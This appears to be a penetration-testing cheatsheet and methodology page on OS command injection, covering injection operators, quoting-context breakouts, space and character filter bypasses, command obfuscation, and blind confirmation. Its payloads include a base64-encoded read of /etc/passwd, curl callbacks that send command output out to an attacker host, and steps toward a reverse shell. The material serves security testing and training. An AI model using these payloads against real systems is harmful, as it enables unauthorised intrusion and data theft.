OS Command Injection
the final flowchart is at the bottom of the page.
Cheatsheet
# surf the site and start crawler in burpsiuite
# look for params like ?cmd=,?ping=,?query=,?arg=,etc.
# example params : https://github.com/lutfumertceylan/top25-parameter/blob/master/rce-paramaters-get-based.txt
# automated
python3 commix.py -u http://<TARGET> --data "cmd=whoami"
# usage example : https://github.com/commixproject/commix/wiki/Usage-examples
#manualy
# Injection operators append to the intended input, then your command
127.0.0.1; whoami # ; runs both (not valid in Windows CMD)
127.0.0.1 && whoami # && runs second only if first succeeds
127.0.0.1 | whoami # | pipes; only second output shown
|| whoami # || runs second only if first FAILS (break the first cmd)
127.0.0.1%0awhoami # newline (URL-encoded) survives many blacklists
$(whoami) `whoami` # sub-shell, Linux only| URL-encoded | Operator | Description |
|---|---|---|
%3b | ; | Semicolon |
%0a | \n | Newline |
%26 | & | Ampersand |
%7c | ` | ` |
%26%26 | && | Logical AND |
%7c%7c | ` | |
%60%60 | “ | Backticks |
%24%28%29 | $() | Subshell |
%09 | tab | Tab |
%20 | space | Space |
# Space bypasses (when space is blacklisted, Linux)
127.0.0.1%0a{ls,-la} # brace expansion
127.0.0.1%0a${IFS}whoami # $IFS defaults to space/tab
127.0.0.1%0a%09whoami # literal tab (%09) between args
# Character bypasses build blacklisted chars from env vars
${PATH:0:1} # -> / (slash)
${LS_COLORS:10:1} # -> ; (semicolon)
${IFS} # -> space# Command-name obfuscation (defeat word blacklists)
w'h'o'am'i # quotes (event counts of quotes)Linux + Windows
who$@ami w\ho\am\i # $@ / backslash insertion Linux only
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") # case flip
$(rev<<<'imaohw') # reversed command
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dk) # base64-encoded payload, no pipe# Windows equivalents
127.0.0.1 & whoami # & works in CMD; ; only works in PowerShell
who^ami # caret insertion (CMD)
$env:HOMEPATH[0] # -> \ (build chars from env vars, PS)
iex "$('imaohw'[-1..-20] -join '')" # reversed command, PowerShell
iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"# Confirm blind injection (no output) time delay and out-of-band callback
127.0.0.1%0asleep%095 # response hangs ~5s => code runs
127.0.0.1%0aping%09-c%094%09<LHOST> # ICMP callback (Linux)
127.0.0.1%0acurl%09http://<LHOST>/$(whoami) # DNS/HTTP exfil of outputMethodology
Phase 1: Map the Surface and Auth State
?
Questions to ask
- Which inputs plausibly feed a shell ?anything that pings, resolves, traces, converts a file, generates a PDF/thumbnail, backs up, or “runs” something?
- What auth state reaches this input: unauthenticated, my low-priv session, or admin-only? Which would be the highest-value transition to RCE?
- Is the intended command’s output reflected back (direct injection) or invisible (blind)?
- Is validation enforced only on the front-end, so a raw HTTP request bypasses it?
- Enumerate every input that could reach an OS command (forms, params, path segments, headers, filenames, JSON fields).
- start burpsuite and crawler to find the params that may reach a shell.
- Record the raw request (method, path, params, cookies) so it can be replayed in Repeater or
curl. - Tag each input’s auth state (unauth / user / admin) and pick the highest-value target.
- look for params like ?cmd=,?ping=,?query=,?arg=,etc. RCE parameters
- Decide whether output is reflected (direct) or not (blind).
- If a browser rejects the payload with no network request, the check is front-end only send the request directly to the back-end.
Phase 2: Identify the Sink & phase 3
?
Questions to ask
- How is my input placed into the command bare argument (
ping -c 1 INPUT), inside double quotes, inside single quotes, or interpolated into a template string? - What breakout does that context need before a new command starts (nothing,
",', or backticks/$())? - Which OS and shell is behind this (Linux
bash, Windowscmd, Windows PowerShell)? This decides which operators and bypasses work. - Does the platform hint (server header, error style, path separators) tell me
;vs&and$()availability?
# Probe the quoting context which breakout is required
127.0.0.1; id # bare / double-quoted context
127.0.0.1' ; id ; ' # single-quoted context needs a matching quote first
127.0.0.1" ; id ; " # double-quoted context
127.0.0.1$(id) # interpolation-friendly context (sub-shell)- Determine the quoting context around your input; pick the matching breakout (see Injection Context Matrix).
- Fingerprint the OS/shell to choose operators (
;/&&vs&;$()is Linux-only). - Pick a single benign, high-signal marker command (
id/whoami) ot a destructive one.
?
Questions to ask
- Where does a request input (source) flow into a command-executing sink (
system,exec,popen,child_process.exec,subprocess(..., shell=True),Runtime.exec)? - Is the input concatenated/interpolated into the command string, or passed as a separate argument array (the latter is much safer)?
- What sanitization sits in the path a blacklist,
escapeshellarg/escapeshellcmd, an allow-list regex and can my context bypass it? - Is the vulnerable route reachable pre-auth, or only behind a session/role check?
# Find the dangerous sinks, then trace each back to a request-reachable source
rg -n "system\(|exec\(|shell_exec\(|passthru\(|popen\(|proc_open\(" <SRC> # PHP
rg -n "child_process|\.exec\(|\.execSync\(|\.spawn\(" <SRC> # Node
rg -n "os\.system|subprocess\.(run|call|Popen).*shell=True|os\.popen" <SRC> # Python
rg -n "Runtime\.getRuntime\(\)\.exec|ProcessBuilder" <SRC> # Java
rg -n "\$_(GET|POST|REQUEST|COOKIE)|req\.(query|body|params)|request\.(args|form)" <SRC>- Inventory sinks and request-reachable sources separately, then connect one full path.
- Note every transform in between (blacklist, escape function, regex) and whether your context defeats it.
- Flag string concatenation into the command as the smoking gun; argument arrays without a shell are usually safe.
- Record whether the sink is reachable unauthenticated that sets the headline chain.
Phase 4: Confirm Injection & phase 5
?
Questions to ask
- Did the response actually change to include my command’s output, or did only the intended command run?
- If the input is rejected, is it the operator, a space, or a word being filtered (isolate one character at a time)?
- Is this the back-end filtering (in-page error) or a WAF (separate block page echoing my IP/request)?
- Once one operator works, is it stable enough to build a real payload on?
- Inject
; id(or%0aid) and confirm the response containsuid=...execution, not just reflection. - If blocked, reduce to one character at a time to identify the filtered element (operator vs space vs word).
- Distinguish an in-app “Invalid input” (back-end blacklist) from a WAF block page (separate page with your request details).
- Lock in one working operator before weaponizing.
?
Questions to ask
- With no output channel, can I prove execution by timing (
sleep) or an out-of-band callback (DNS/HTTP/ICMP to my host)? - Which egress does the target allow raw ICMP, outbound DNS, outbound HTTP? That decides the exfil channel.
- Can I exfiltrate command output by embedding it in the callback (
curl http://<LHOST>/$(id|base64))? - Did a request actually reach my listener the only execution proof available here?
- Send a
sleep Npayload and measure response time; a consistent ~N-second delay proves blind execution. - Start a listener and trigger a DNS/HTTP/ICMP callback to confirm code runs and egress works.
- Exfiltrate output by embedding
$(cmd)(base64-encode to keep it URL-safe) into the callback URL/hostname. - On a callback, record the working payload and channel; move to weaponization.
Phase 6: Bypass Filters and Weaponize
?
Questions to ask
- Which layer is filtering ?a character blacklist, a command/word blacklist, or a WAF and what exactly is blocked?
- Can I rebuild blocked characters (space,
/,;) from env vars / brace expansion and blocked commands from quotes/case/reversal/encoding? - What is the cheapest payload that proves impact (
id) before I escalate to a reverse shell? - After a shell, does the auth state / user (
www-data,IIS APPPOOL\...) justify the next host-side step?
- Identify the filter layer and enumerate exactly what is blocked (from Phase 4).
- Rebuild blocked characters (
${IFS},{a,b},${PATH:0:1}) and obfuscate blocked words (quotes, case,rev, base64). - Prove impact with
id/whoami, then upgrade to a reverse shell; stabilize per Reverse Shells & Upgrades. - Capture evidence (request, payload, output) and carry the shell into host post-exploitation.
Reference
Injection Operators
| Operator | Char | URL-encoded | Runs | Notes |
|---|---|---|---|---|
| Semicolon | ; | %3b | Both | Not valid in Windows CMD (works in PowerShell) |
| Newline | \n | %0a | Both | Works Linux + Windows; rarely blacklisted (apps need it) |
| Background | & | %26 | Both | Second output often shown first |
| Pipe | | | %7c | Both | Only the second command’s output is shown |
| AND | && | %26%26 | Both | Second runs only if first succeeds |
| OR | || | %7c%7c | Second | Runs only if the first fails break the first cmd (|| whoami) |
| Sub-shell | “ | %60%60 | Both | Linux only |
| Sub-shell | $() | %24%28%29 | Both | Linux only |
Injection Context Matrix
The quoting context around your input decides the breakout set this wrong and a working target looks patched.
| Context in the command | Example | Breakout needed | Payload |
|---|---|---|---|
| Bare argument | ping -c 1 INPUT | none | 127.0.0.1; id |
| Double-quoted | sh -c "ping INPUT" | close the quote | 127.0.0.1"; id; " |
| Single-quoted | sh -c 'ping INPUT' | close the quote | 127.0.0.1'; id; ' |
| Interpolated string | `touch /tmp/INPUT.txt` | sub-shell | $(id) or `id` |
| Windows CMD | ping INPUT | & (not ;) | 127.0.0.1 & whoami |
Space Bypasses (Linux)
| Technique | Payload | Note |
|---|---|---|
| Tab | 127.0.0.1%0a%09whoami | Shells treat tab as arg separator |
$IFS | 127.0.0.1%0a${IFS}whoami | Default $IFS is space+tab |
| Brace expansion | 127.0.0.1%0a{ls,-la} | Braces auto-insert spaces |
${IFS} in-word | cat${IFS}/etc/passwd | Common one-liner form |
Character Bypasses (build blocked chars from env vars)
# Linux substring env vars to produce a single needed character
${PATH:0:1} # /
${LS_COLORS:10:1} # ; (printenv to hunt other useful chars)
$(tr '!-}' '"-~'<<<[) # character shifting: prints \ (shift [ by 1)# Windows CMD substring an env var to a single char
echo %HOMEPATH:~6,-11% # \
# Windows PowerShell index into an env var (word = char array)
$env:HOMEPATH[0] # \Command-Name Obfuscation (defeat word blacklists)
| Technique | Linux | Windows | Rule |
|---|---|---|---|
| Quote insertion | w'h'o'am'i / w"h"o"am"i | w"h"o"am"i | Even count, don’t mix quote types |
| Char insertion | who$@ami / w\ho\am\i | who^ami (caret, CMD) | Linux \/$@ count can be odd |
| Case flip | $(tr "[A-Z]" "[a-z]"<<<"WhOaMi") | WhOaMi (case-insensitive) | Linux is case-sensitive; needs a converter |
| Reversal | $(rev<<<'imaohw') | iex "$('imaohw'[-1..-20] -join '')" | Reverse filtered chars too |
| Encoding | bash<<<$(base64 -d<<<...) | iex "$([Convert]...)" | <<< avoids the | pipe |
For advanced/automated obfuscation use Bashfuscator (Linux) and Invoke-DOSfuscation (Windows). Bashfuscator output can range from hundreds to over a million characters constrain it with -s 1 -t 1 --no-mangling --layers 1 so the payload fits the input field, and validate with bash -c '<payload>' before sending. More variants: PayloadsAllTheThings Command Injection .
`
Quiz
Your `;` and `&&` payloads all return 'Invalid input', but `127.0.0.1%0a` returns a normal ping. What is the best next step?
Quiz
A search feature calls system() with your input but the page never shows command output. How do you confirm injection?
Complete flowchart
Last updated on